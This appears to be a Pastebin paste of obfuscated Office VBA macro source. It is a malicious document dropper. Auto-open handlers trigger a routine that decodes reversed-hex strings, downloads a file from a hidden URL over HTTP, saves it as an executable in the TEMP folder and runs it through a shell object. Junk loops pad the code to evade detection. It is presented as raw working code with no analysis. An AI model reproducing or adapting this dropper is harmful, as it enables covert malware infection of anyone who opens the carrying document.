Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Public Function HexToString(ByVal JKTrmPRyEY As String) As String
- Dim VBwxvA As String
- Dim szPqqFv As String
- Dim qPsQUCrLCt As Long
- For qPsQUCrLCt = 1 To Len(JKTrmPRyEY) Step 2
- Dim rbFhOBZv As Integer
- For rbFhOBZv = 0 To 5
- Dim fkWPNAwf As Integer
- For fkWPNAwf = 0 To 6
- DoEvents
- Next fkWPNAwf
- DoEvents
- Next rbFhOBZv
- Dim rvGogSPQ As Integer
- For rvGogSPQ = 0 To 5
- DoEvents
- Next rvGogSPQ
- VBwxvA = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(JKTrmPRyEY, qPsQUCrLCt, 2)))
- Dim HzFdMdeM As Integer
- For HzFdMdeM = 0 To 1
- Dim lICZEAhN As Integer
- For lICZEAhN = 0 To 6
- DoEvents
- Next lICZEAhN
- DoEvents
- Next HzFdMdeM
- Dim cqajwczp As Integer
- For cqajwczp = 0 To 7
- DoEvents
- Next cqajwczp
- szPqqFv = szPqqFv & VBwxvA
- Next qPsQUCrLCt
- Dim YoIQocll As Integer
- For YoIQocll = 0 To 9
- Dim GopYarCd As Integer
- For GopYarCd = 0 To 8
- DoEvents
- Next GopYarCd
- DoEvents
- Next YoIQocll
- Dim LQdmLNOx As Integer
- For LQdmLNOx = 0 To 8
- DoEvents
- Next LQdmLNOx
- HexToString = szPqqFv
- End Function
- Sub Auto_Open()
- Dim PeTaKRhj As Integer
- For PeTaKRhj = 0 To 4
- Dim mVBTMefl As Integer
- For mVBTMefl = 0 To 4
- Dim kmCtnrZn As Integer
- For kmCtnrZn = 0 To 6
- DoEvents
- Next kmCtnrZn
- DoEvents
- Next mVBTMefl
- Dim qinGrqUL As Integer
- For qinGrqUL = 0 To 5
- DoEvents
- Next qinGrqUL
- DoEvents
- Next PeTaKRhj
- Dim uvpHLkDX As Integer
- For uvpHLkDX = 0 To 2
- Dim KkPaaIcW As Integer
- For KkPaaIcW = 0 To 8
- DoEvents
- Next KkPaaIcW
- DoEvents
- Next uvpHLkDX
- Dim RKWqNXCv As Integer
- For RKWqNXCv = 0 To 6
- DoEvents
- Next RKWqNXCv
- DLKUMLWKOEG
- End Sub
- Sub AutoOpen()
- Dim eBaledvl As Integer
- For eBaledvl = 0 To 1
- Dim HxmCyTMD As Integer
- For HxmCyTMD = 0 To 2
- Dim LiADfRQC As Integer
- For LiADfRQC = 0 To 3
- DoEvents
- Next LiADfRQC
- DoEvents
- Next HxmCyTMD
- Dim wMsMVeZO As Integer
- For wMsMVeZO = 0 To 1
- DoEvents
- Next wMsMVeZO
- DoEvents
- Next eBaledvl
- Dim OpBIPQBy As Integer
- For OpBIPQBy = 0 To 4
- Dim pqsWMmqU As Integer
- For pqsWMmqU = 0 To 8
- DoEvents
- Next pqsWMmqU
- DoEvents
- Next OpBIPQBy
- Dim HEUhMGKf As Integer
- For HEUhMGKf = 0 To 5
- DoEvents
- Next HEUhMGKf
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Dim SWhfuEMz As Integer
- For SWhfuEMz = 0 To 1
- Dim fPOMyfVm As Integer
- For fPOMyfVm = 0 To 3
- Dim cQVNFqkY As Integer
- For cQVNFqkY = 0 To 5
- DoEvents
- Next cQVNFqkY
- DoEvents
- Next fPOMyfVm
- Dim NcOibOpk As Integer
- For NcOibOpk = 0 To 3
- DoEvents
- Next NcOibOpk
- DoEvents
- Next SWhfuEMz
- Dim uvdRPleD As Integer
- For uvdRPleD = 0 To 2
- Dim rNOunZYP As Integer
- For rNOunZYP = 0 To 1
- DoEvents
- Next rNOunZYP
- DoEvents
- Next uvdRPleD
- Dim tJvCcYHt As Integer
- For tJvCcYHt = 0 To 2
- DoEvents
- Next tJvCcYHt
- Auto_Open
- End Sub
- Sub DLKUMLWKOEG()
- Dim TOHqMUPE As Integer
- For TOHqMUPE = 0 To 9
- Dim VAxGPZBI As Integer
- For VAxGPZBI = 0 To 9
- Dim CQvVmKWw As Integer
- For CQvVmKWw = 0 To 9
- DoEvents
- Next CQvVmKWw
- DoEvents
- Next VAxGPZBI
- Dim inWdKTfm As Integer
- For inWdKTfm = 0 To 4
- DoEvents
- Next inWdKTfm
- DoEvents
- Next TOHqMUPE
- Dim EMKpPXUh As Integer
- For EMKpPXUh = 0 To 8
- Dim dWIiPcUY As Integer
- For dWIiPcUY = 0 To 3
- DoEvents
- Next dWIiPcUY
- DoEvents
- Next EMKpPXUh
- Dim fJaIdcEW As Integer
- For fJaIdcEW = 0 To 3
- DoEvents
- Next fJaIdcEW
- RDQTLNGJUGF HexToString(StrReverse("568756E2E69626F237A6F2D6F636E2F647F68607D2E656D227563737562776F62707F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5"))
- End Sub
- Function RDQTLNGJUGF(ByVal KVHTAVKOUAU As String, ByVal UCLTAOWUVMW As String) As Boolean
- Dim QUGESAIDFJZ As Object, LKELSUATYNM As Long, WJNISNSNALS As Long, NENMVDKFQUK() As Byte
- Dim ppnwjoOK As Integer
- For ppnwjoOK = 0 To 2
- Dim qzoMTkuU As Integer
- For qzoMTkuU = 0 To 8
- Dim cTbGsmit As Integer
- For cTbGsmit = 0 To 8
- DoEvents
- Next cTbGsmit
- DoEvents
- Next qzoMTkuU
- Dim fSldnRxE As Integer
- For fSldnRxE = 0 To 9
- DoEvents
- Next fSldnRxE
- DoEvents
- Next ppnwjoOK
- Dim WJyuIDzx As Integer
- For WJyuIDzx = 0 To 6
- Dim FFFIviwO As Integer
- For FFFIviwO = 0 To 4
- DoEvents
- Next FFFIviwO
- DoEvents
- Next WJyuIDzx
- Dim nlZErlIy As Integer
- For nlZErlIy = 0 To 2
- DoEvents
- Next nlZErlIy
- Set QUGESAIDFJZ = CreateObject(HexToString(StrReverse("05454584C4D485E223C4D48535D4")))
- QUGESAIDFJZ.Open HexToString(StrReverse("455474")), KVHTAVKOUAU, False
- Dim GZWJjEjb As Integer
- For GZWJjEjb = 0 To 8
- Dim QBCHyWzz As Integer
- For QBCHyWzz = 0 To 1
- Dim qtHZLDsk As Integer
- For qtHZLDsk = 0 To 6
- DoEvents
- Next qtHZLDsk
- DoEvents
- Next QBCHyWzz
- Dim cPtwrYzE As Integer
- For cPtwrYzE = 0 To 8
- DoEvents
- Next cPtwrYzE
- DoEvents
- Next GZWJjEjb
- Dim NhbUdIxe As Integer
- For NhbUdIxe = 0 To 4
- Dim tLhYarLT As Integer
- For tLhYarLT = 0 To 7
- DoEvents
- Next tLhYarLT
- DoEvents
- Next NhbUdIxe
- Dim ZrMseRIj As Integer
- For ZrMseRIj = 0 To 2
- DoEvents
- Next ZrMseRIj
- QUGESAIDFJZ.Send HexToString(StrReverse("766646764666766646"))
- Dim AyLNPGZe As Integer
- For AyLNPGZe = 0 To 2
- Dim hbRdQmQb As Integer
- For hbRdQmQb = 0 To 3
- Dim VORRPvvx As Integer
- For VORRPvvx = 0 To 9
- DoEvents
- Next VORRPvvx
- DoEvents
- Next hbRdQmQb
- Dim XMPukTKC As Integer
- For XMPukTKC = 0 To 9
- DoEvents
- Next XMPukTKC
- DoEvents
- Next AyLNPGZe
- Dim lzUaEkvO As Integer
- For lzUaEkvO = 0 To 4
- Dim ibXsSxlk As Integer
- For ibXsSxlk = 0 To 4
- DoEvents
- Next ibXsSxlk
- DoEvents
- Next lzUaEkvO
- Dim YPAJDXoz As Integer
- For YPAJDXoz = 0 To 6
- DoEvents
- Next YPAJDXoz
- NENMVDKFQUK = QUGESAIDFJZ.responseBody
- Dim rKRumflG As Integer
- For rKRumflG = 0 To 5
- Dim rKAbHPtY As Integer
- For rKAbHPtY = 0 To 1
- Dim srJRkAlR As Integer
- For srJRkAlR = 0 To 3
- DoEvents
- Next srJRkAlR
- DoEvents
- Next rKAbHPtY
- Dim xLfLGgQR As Integer
- For xLfLGgQR = 0 To 4
- DoEvents
- Next xLfLGgQR
- DoEvents
- Next rKRumflG
- Dim imRdIUJG As Integer
- For imRdIUJG = 0 To 2
- Dim HAQeZeja As Integer
- For HAQeZeja = 0 To 1
- DoEvents
- Next HAQeZeja
- DoEvents
- Next imRdIUJG
- Dim PhhFypwl As Integer
- For PhhFypwl = 0 To 9
- DoEvents
- Next PhhFypwl
- WJNISNSNALS = FreeFile
- Open UCLTAOWUVMW For Binary Access Write As #WJNISNSNALS
- Dim lzSAOeBr As Integer
- For lzSAOeBr = 0 To 4
- Dim TSbItgBi As Integer
- For TSbItgBi = 0 To 3
- Dim gDfJiEGE As Integer
- For gDfJiEGE = 0 To 9
- DoEvents
- Next gDfJiEGE
- DoEvents
- Next TSbItgBi
- Dim VUFFJCvs As Integer
- For VUFFJCvs = 0 To 4
- DoEvents
- Next VUFFJCvs
- DoEvents
- Next lzSAOeBr
- Dim okSGuCRm As Integer
- For okSGuCRm = 0 To 8
- Dim raYlYXmJ As Integer
- For raYlYXmJ = 0 To 5
- DoEvents
- Next raYlYXmJ
- DoEvents
- Next okSGuCRm
- Dim bbBBSZYD As Integer
- For bbBBSZYD = 0 To 2
- DoEvents
- Next bbBBSZYD
- Put #WJNISNSNALS, , NENMVDKFQUK
- Dim QaFkkQqJ As Integer
- For QaFkkQqJ = 0 To 1
- Dim KgNPsfae As Integer
- For KgNPsfae = 0 To 8
- Dim gOREHCbB As Integer
- For gOREHCbB = 0 To 3
- DoEvents
- Next gOREHCbB
- DoEvents
- Next KgNPsfae
- Dim UZdCYIXa As Integer
- For UZdCYIXa = 0 To 6
- DoEvents
- Next UZdCYIXa
- DoEvents
- Next QaFkkQqJ
- Dim wXiuhGtX As Integer
- For wXiuhGtX = 0 To 4
- Dim qpjTMiPz As Integer
- For qpjTMiPz = 0 To 2
- DoEvents
- Next qpjTMiPz
- DoEvents
- Next wXiuhGtX
- Dim uQLRpnHa As Integer
- For uQLRpnHa = 0 To 2
- DoEvents
- Next uQLRpnHa
- Close #WJNISNSNALS
- Dim IlglHHlr As Integer
- For IlglHHlr = 0 To 9
- Dim rKweltnT As Integer
- For rKweltnT = 0 To 5
- Dim PsEGTeGh As Integer
- For PsEGTeGh = 0 To 4
- DoEvents
- Next PsEGTeGh
- DoEvents
- Next rKweltnT
- Dim yHvukYGy As Integer
- For yHvukYGy = 0 To 7
- DoEvents
- Next yHvukYGy
- DoEvents
- Next IlglHHlr
- Dim jcPXTVjJ As Integer
- For jcPXTVjJ = 0 To 7
- Dim tXVqAFtW As Integer
- For tXVqAFtW = 0 To 7
- DoEvents
- Next tXVqAFtW
- DoEvents
- Next jcPXTVjJ
- Dim NblnLNIn As Integer
- For NblnLNIn = 0 To 4
- DoEvents
- Next NblnLNIn
- Dim BkjovcRK As Integer
- For BkjovcRK = 0 To 6
- Dim KdozPmWR As Integer
- For KdozPmWR = 0 To 2
- Dim nlmvNYJM As Integer
- For nlmvNYJM = 0 To 8
- DoEvents
- Next nlmvNYJM
- DoEvents
- Next KdozPmWR
- Dim rzxsuBll As Integer
- For rzxsuBll = 0 To 4
- DoEvents
- Next rzxsuBll
- DoEvents
- Next BkjovcRK
- Dim JxgRkAft As Integer
- For JxgRkAft = 0 To 1
- Dim inLnZXeK As Integer
- For inLnZXeK = 0 To 2
- DoEvents
- Next inLnZXeK
- DoEvents
- Next JxgRkAft
- Dim QuNVUcuP As Integer
- For QuNVUcuP = 0 To 7
- DoEvents
- Next QuNVUcuP
- Set fdgfdgfdg = CreateObject(HexToString(StrReverse("E6F69647163696C6070714E2C6C6568635")))
- fdgfdgfdg.Open Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5"))
- Dim piDcXsCJ As Integer
- For piDcXsCJ = 0 To 8
- Dim QaIyLQAK As Integer
- For QaIyLQAK = 0 To 7
- Dim jnjQszjd As Integer
- For jnjQszjd = 0 To 4
- DoEvents
- Next jnjQszjd
- DoEvents
- Next QaIyLQAK
- Dim DMtUQQGh As Integer
- For DMtUQQGh = 0 To 1
- DoEvents
- Next DMtUQQGh
- DoEvents
- Next piDcXsCJ
- Dim psfPMqkE As Integer
- For psfPMqkE = 0 To 2
- Dim fHBacWtK As Integer
- For fHBacWtK = 0 To 3
- DoEvents
- Next fHBacWtK
- DoEvents
- Next psfPMqkE
- Dim ibBzwrxk As Integer
- For ibBzwrxk = 0 To 2
- DoEvents
- Next ibBzwrxk
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement